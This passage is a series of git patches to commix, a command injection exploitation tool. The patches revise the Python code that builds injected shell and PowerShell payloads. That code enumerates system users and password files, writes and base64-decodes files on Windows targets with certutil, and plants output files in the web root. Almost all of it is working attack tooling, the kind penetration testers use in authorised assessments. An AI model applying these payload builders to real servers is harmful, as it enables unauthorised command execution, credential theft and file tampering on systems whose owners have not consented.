+ print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
- output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
+ output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" )
output_file.close()
else:
# print(settings.SINGLE_WHITESPACE)
@@ -1953,7 +1955,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi
"""
Print users enumeration.
"""
-def print_passes(sys_users, filename, _, alter_shell):
+def print_passes(sys_passes, filename, _, alter_shell):
if sys_passes == "":
sys_passes = " "
sys_passes = sys_passes.replace(" ", "\n").split()
@@ -2018,6 +2020,12 @@ def quoted_cmd(cmd):
cmd = "\"" + cmd + "\""
return cmd
+"""
+"""
+def add_new_cmd(cmd):
+ cmd = "cmd /c " + cmd
+ return cmd
+
"""
Escape single quoted cmd
"""
@@ -2030,7 +2038,8 @@ def escape_single_quoted_cmd(cmd):
"""
def find_filename(dest_to_write, content):
fname = os.path.basename(dest_to_write)
- tmp_fname = "tmp_" + fname
+ #tmp_fname = "tmp_" + fname
+ tmp_fname = fname
content = quoted_cmd(content)
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
return fname, tmp_fname, cmd
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 3501e5dbaa..da49dc562a 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -189,13 +189,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
cmd = settings.WIN_SYS_USERS
- cmd = cmd + settings.WIN_REPLACE_WHITESPACE
+ # cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
- else:
- cmd = checks.quoted_cmd(cmd)
- if settings.TARGET_OS == "win":
- cmd = "cmd /c " + cmd
+ cmd = checks.add_new_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -228,7 +225,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_users, filename, _, alter_shell)
+ checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 673f7cd9d9..6aba7618f1 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -51,7 +51,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- check.print_ps_version(ps_version,)
+ checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
@@ -91,7 +91,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = eb_injector.injection_results(response, TAG, cmd)
- target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)
+ target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -139,8 +139,8 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
_ = False
cmd = settings.CURRENT_USER
if settings.TARGET_OS == "win":
- cmd = settings.WIN_SYS_USERS
- cmd = cmd + settings.WIN_REPLACE_WHITESPACE
+ cmd = settings.WIN_CURRENT_USER
+ # cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
@@ -189,16 +189,13 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
- cmd = settings.SYS_USERS
+ cmd = settings.EVAL_SYS_USERS
if settings.TARGET_OS == "win":
cmd = settings.WIN_SYS_USERS
- cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
- cmd = checks.quoted_cmd(cmd)
- else:
- cmd = settings.EVAL_SYS_USERS
+ cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -208,7 +205,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Evaluate injection results.
sys_users = eb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
- # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
+ session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
@@ -231,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_users, filename, _, alter_shell)
+ checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 210a22a4a0..50000cb500 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -166,7 +166,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
cmd = settings.WIN_SYS_USERS
- cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
else:
@@ -197,7 +196,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- checks.print_passes(sys_users, filename, _, alter_shell)
+ checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 1aafd5d945..ed2426e5d4 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -49,7 +49,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
# cmd = "cmd /c if exist " + fname + " (echo " + fname + ")"
# dest_to_write = dest_to_write + "\\" + fname
cmd = checks.check_file(dest_to_write)
- cmd = "cmd /c " + cmd
+ cmd = checks.add_new_cmd(cmd)
if not menu.options.alter_shell:
cmd = checks.quoted_cmd(cmd)
else:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 0daac7bd5c..82adf5e2d5 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -292,6 +292,9 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
break
elif procced_option in settings.CHOICE_NO:
output = custom_web_root(url, OUTPUT_TEXTFILE)
+ info_msg = "Using '" + output
+ info_msg += "' as command execution output."
+ print(settings.print_info_msg(info_msg))
if not settings.DEFINED_WEBROOT:
pass
else:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 7761d474ed..d8ad42ca0c 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -185,7 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_passes = output
- checks.print_passes(sys_users, filename, _, alter_shell)
+ checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
diff --git a/src/utils/common.py b/src/utils/common.py
index d60b8802d8..8de209f3d4 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -63,7 +63,7 @@ def is_empty():
if settings.ANSWERS:
if not any(_ in settings.ANSWERS for _ in ",="):
- return is_empty(message, default=None, check_batch=True)
+ return is_empty()
else:
for item in settings.ANSWERS.split(','):
question = item.split('=')[0].strip()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 37f136b89a..f7e957208e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "85"
+REVISION = "86"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c1638ae52289f22afcdfe51682eb6fa34c0c16cc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 19 Jun 2022 08:59:22 +0300
Subject: [PATCH 164/560] Trivial update
---
.../results_based/techniques/classic/cb_payloads.py | 6 +++---
.../semiblind/techniques/file_based/fb_handler.py | 2 +-
.../semiblind/techniques/file_based/fb_payloads.py | 6 +++---
.../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_payloads.py | 4 ++--
src/utils/settings.py | 2 +-
6 files changed, 11 insertions(+), 11 deletions(-)
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index 3b64637dfd..038538e68b 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == "win":
if settings.SKIP_CALC:
payload = (separator +
- "echo " + TAG + TAG + TAG + "< nul"
+ "echo " + TAG + TAG + TAG + "
Date: Mon, 20 Jun 2022 09:24:57 +0300
Subject: [PATCH 165/560] Minor update
---
src/core/injections/controller/checks.py | 5 ++---
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index b38547e4be..7e699ef647 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1002,7 +1002,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name):
Lists available tamper scripts
"""
def list_tamper_scripts():
- info_msg = "Listing available tamper scripts:"
+ info_msg = "Listing available tamper scripts."
print(settings.print_info_msg(info_msg))
if menu.options.list_tampers:
for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
@@ -1010,8 +1010,7 @@ def list_tamper_scripts():
match = re.search(r"About:(.*)\n", content)
if match:
comment = match.group(1).strip()
- sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment
- print(settings.print_sub_content(sub_content))
+ print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment)
"""
Tamper script checker
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 00f7534682..818a017886 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "87"
+REVISION = "88"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 8287dd16791642e2eab6bc27c5d2a916212136ec Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 21 Jun 2022 06:53:28 +0300
Subject: [PATCH 166/560] Minor updates
---
src/core/injections/controller/checks.py | 25 ++++++++++++-------
.../techniques/classic/cb_file_access.py | 17 +++----------
.../techniques/eval_based/eb_file_access.py | 5 +---
.../techniques/eval_based/eb_payloads.py | 8 +++---
.../techniques/file_based/fb_file_access.py | 12 +--------
.../techniques/file_based/fb_payloads.py | 15 ++++++-----
src/utils/settings.py | 9 ++++---
7 files changed, 39 insertions(+), 52 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 7e699ef647..4daae493b3 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -2020,6 +2020,7 @@ def quoted_cmd(cmd):
return cmd
"""
+Add new "cmd /c"
"""
def add_new_cmd(cmd):
cmd = "cmd /c " + cmd
@@ -2037,17 +2038,20 @@ def escape_single_quoted_cmd(cmd):
"""
def find_filename(dest_to_write, content):
fname = os.path.basename(dest_to_write)
- #tmp_fname = "tmp_" + fname
- tmp_fname = fname
- content = quoted_cmd(content)
- cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
+ tmp_fname = fname + "_tmp"
+ # _ = settings.FILE_WRITE
+ if settings.TARGET_OS == "win":
+ # _ = settings.FILE_WRITE_WIN
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'"
+ else:
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
return fname, tmp_fname, cmd
"""
Decode base 64 encoding
"""
def win_decode_b64_enc(fname, tmp_fname):
- cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname
+ cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\")
return cmd
"""
@@ -2073,14 +2077,17 @@ def remove_parenthesis(cmd):
"""
def write_content(content, dest_to_write):
content = quoted_cmd(content)
- cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
+ if settings.TARGET_OS == "win":
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'"
+ else:
+ cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
return cmd
"""
Delete filename
"""
def delete_tmp(tmp_fname):
- cmd = settings.WIN_DEL + tmp_fname
+ cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\")
return cmd
"""
@@ -2088,7 +2095,7 @@ def delete_tmp(tmp_fname):
"""
def check_file(dest_to_upload):
if settings.TARGET_OS == "win":
- cmd = settings.FILE_LIST_WIN + dest_to_upload
+ cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\")
else:
cmd = settings.FILE_LIST + dest_to_upload
cmd = add_command_substitution(cmd)
@@ -2113,7 +2120,7 @@ def file_content_to_read():
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
+ cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\")
else:
if settings.EVAL_BASED_STATE:
cmd = "(" + settings.FILE_READ + file_to_read + ")"
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 35d6da05d3..88bfc902bf 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -38,32 +38,21 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # cmd = "if exist " + fname + " (echo " + fname + ")"
- # dest_to_write = dest_to_write + "\\" + fname
- cmd = checks.check_file(dest_to_write)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
else:
cmd = checks.write_content(content, dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- cmd = checks.check_file(dest_to_write)
- if settings.USE_BACKTICKS:
- cmd = checks.remove_command_substitution(cmd)
+ cmd = checks.check_file(dest_to_write)
+ if settings.USE_BACKTICKS:
+ cmd = checks.remove_command_substitution(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index 82c285f3f4..86d0a3040b 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -44,15 +44,12 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
cmd = checks.delete_tmp(tmp_fname)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
eb_injector.injection_results(response, TAG, cmd)
- #cmd = "if exist " + fname + " (echo " + fname + ")"
- # dest_to_write = dest_to_write + "\\" + fname
- cmd = checks.check_file(dest_to_write)
else:
cmd = checks.write_content(content, dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- cmd = checks.check_file(dest_to_write)
+ cmd = checks.check_file(dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index 6e56523500..eb6c0cc168 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -162,7 +162,7 @@ def cmd_execution(separator, TAG, cmd):
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
- "` cmd /c " + cmd + "`." +
+ "`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
@@ -170,7 +170,7 @@ def cmd_execution(separator, TAG, cmd):
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
- separator + " cmd /c " + cmd +
+ separator + cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
@@ -209,14 +209,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
- "` cmd /c " + python_payload + "`." +
+ "`" + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
- separator + " cmd /c " + python_payload +
+ separator + python_payload +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index ed2426e5d4..45d85f4a71 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -35,30 +35,20 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
cmd = checks.change_dir(dest_to_write)
- cmd = cmd + separator + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
- cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
- cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cmd = checks.delete_tmp(tmp_fname)
- cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")"
- # dest_to_write = dest_to_write + "\\" + fname
- cmd = checks.check_file(dest_to_write)
- cmd = checks.add_new_cmd(cmd)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- cmd = checks.check_file(dest_to_write)
+ cmd = checks.check_file(dest_to_write)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index 8433e12682..b0984350ef 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -26,11 +26,14 @@
File-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, OUTPUT_TEXTFILE):
-
-
- payload = (separator +
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
- )
+ if settings.TARGET_OS == "win":
+ payload = (separator +
+ settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\""
+ )
+ else:
+ payload = (separator +
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ )
return payload
@@ -75,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host (cmd /c \"" +
cmd +
- "\")\"') do @set /p = %i" + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "
Date: Wed, 22 Jun 2022 07:41:12 +0300
Subject: [PATCH 167/560] Update regarding commit:
https://github.com/commixproject/commix/commit/8287dd16791642e2eab6bc27c5d2a916212136ec
---
.../techniques/time_based/tb_enumeration.py | 4 +-
.../techniques/time_based/tb_file_access.py | 13 +-
.../blind/techniques/time_based/tb_handler.py | 3 +-
.../techniques/time_based/tb_payloads.py | 122 +++++++++---------
src/utils/settings.py | 2 +-
5 files changed, 66 insertions(+), 78 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 8ccd42bc94..572f1d6632 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -34,8 +34,8 @@
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.PS_VERSION
- if alter_shell:
- cmd = checks.escape_single_quoted_cmd(cmd)
+ # if alter_shell:
+ # cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index b292b45526..6f42db0d7e 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -40,30 +40,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # cmd = "if exist " + fname + " (echo " + fname + ")"
- # dest_to_write = dest_to_write + "\\" + fname
- cmd = checks.check_file(dest_to_write)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
- cmd = checks.check_file(dest_to_write)
+ cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 6ade57a197..f3b277efef 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -249,7 +249,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
- cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
+ rand_num = randv1 + randv2
+ cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")"
else:
cmd = "expr " + str(randv1) + " %2B " + str(randv2) + ""
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 31c925517f..3af148ca52 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
